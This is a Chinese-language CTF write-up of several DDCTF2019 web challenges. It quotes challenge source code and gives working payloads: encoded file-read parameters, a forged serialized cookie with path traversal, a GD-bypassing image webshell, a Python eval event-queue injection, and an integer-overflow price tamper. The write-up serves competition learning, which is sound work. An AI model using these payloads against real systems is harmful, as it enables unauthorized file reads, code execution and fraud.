DDCTF2019 web

记录一下ddctf

滴~

jpg参数是经过两次base64和一次base16加密的,通过jpg参数读取index.php源码

1
?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

这里存在一个脑洞,就是在它注释中给的博客链接和日期是有用的,通过查看这个日期的那篇博客可以获得一个文件名practice.txt.swp,访问可以得到另一个文件名f1ag!ddctf.php

读取f1ag!ddctf.php的源码,但是!被过滤了,从index.php的源码中可以看到config会被替换成!,因此我们可以构造f1agconfigddctf.php来进行访问

1
?jpg=TmpZek1UWXhOamMyTXpaR05rVTJOalk1TmpjMk5EWTBOak0zTkRZMk1rVTNNRFk0TnpBPQ==

f1ag!ddctf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

可以看到这里存在变量覆盖,由于file_get_contents函数,k我们可以通过php://input重新赋值

WEB签到题

抓包发现Auth.php中有一个didictf_username,添加参数值admin,即可得到一个提示让我们访问app/fL2XID2i0Cdh.php

访问app/fL2XID2i0Cdh.php即可看到源码

在app/Session.php中可以看到一个格式化字符串的利用点,通过此可以获得eancrykey,关键代码如下:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

获得eancrykey之后就是伪造cookie了

在app/Application.php中,$path可控,存在destruct函数,当进行反序列化时就会触发,并且在函数中存在file_get_contents,服务器上存在../config/flag.txt文件,那么我们只要修改path然后进行序列化,那么当它反序化时就能getflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}

在Session.php中,会对ddctf_id进行验证,由于我们只需要触发反序化就能getflag,因此我们只需要满足下面的条件就可:

1
2
3
4
5
6
7
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

Application序列化

修改md5得到最终payload

url编码一下得到payload:

1
O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2f.%2fconfig%2fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2

getflag

Upload-IMG

打开是一个普通的上传文件功能,仅能上传JPG/GIF/PNG格式的图片文件,各种改后缀什么的操作都无效,并且上传的图片源代码中要包含指定字符串:phpinfo(),于是猜测是要构造绕过GD库的图片shell

参考链接:https://xz.aliyun.com/t/416

随便上传一张图片,然后将网站处理完的图片再下载保存下来(website.jpg)

使用链接中的脚本生成shell图片

再将生成的payload_website.jpg上传即可getflag

homebrew event loop

题目大概意思是有3块钱,买到5个一块钱一个钻石就能getflag

购买的主要函数如下:

1
2
3
4
5
6
7
8
9
10
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

从代码中可以看到num_items是先增加,points才减少的,也就是钻石先到手了再给钱,当钱不够时,就会抛出RollBackException,execute_event_loop()函数捕获到这个异常就会将session置为上一个状态

1
2
3
4
5
6
7
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break

跟进execute_event_loop函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

我们可以看到eval函数中的参数action可控,并且可以通过#注释掉后面的无用字符,通过此我们就可以任意调用一个函数了,但是该函数的参数列表只能为list,测试一下,发现成功

)

由于trigger_event函数可以传入列表,而action值第一个 ; 后的内容也会以#分割为列表作为参数传入函数,因此我们可以通过调用 trigger_event函数,然后参数列表为先执行buy操作然后执行get_flag即可getflag

payload:

1
?action:trigger_event%23;action:buy;5%23action:get_flag;

将返回的session解密一下再base64解即可

大吉大利,今晚吃鸡~

注册个账号进去可以看到自己账户上有100块钱,但是入场券要2000块钱,于是考虑存在整数溢出,抓包修改ticket_price

1
2
i = 2**32+1   //4294967297
j = i % 2**32 //1

即当我们将ticket_price改为4294967297时,实际上用1块钱就能买

当我们查看订单列表时,可以看到金额确实被改了

当我们确认支付,入场券就购买成功

通过疯狂注册移除机器人即可getflag

mysql弱口令

再来1杯Java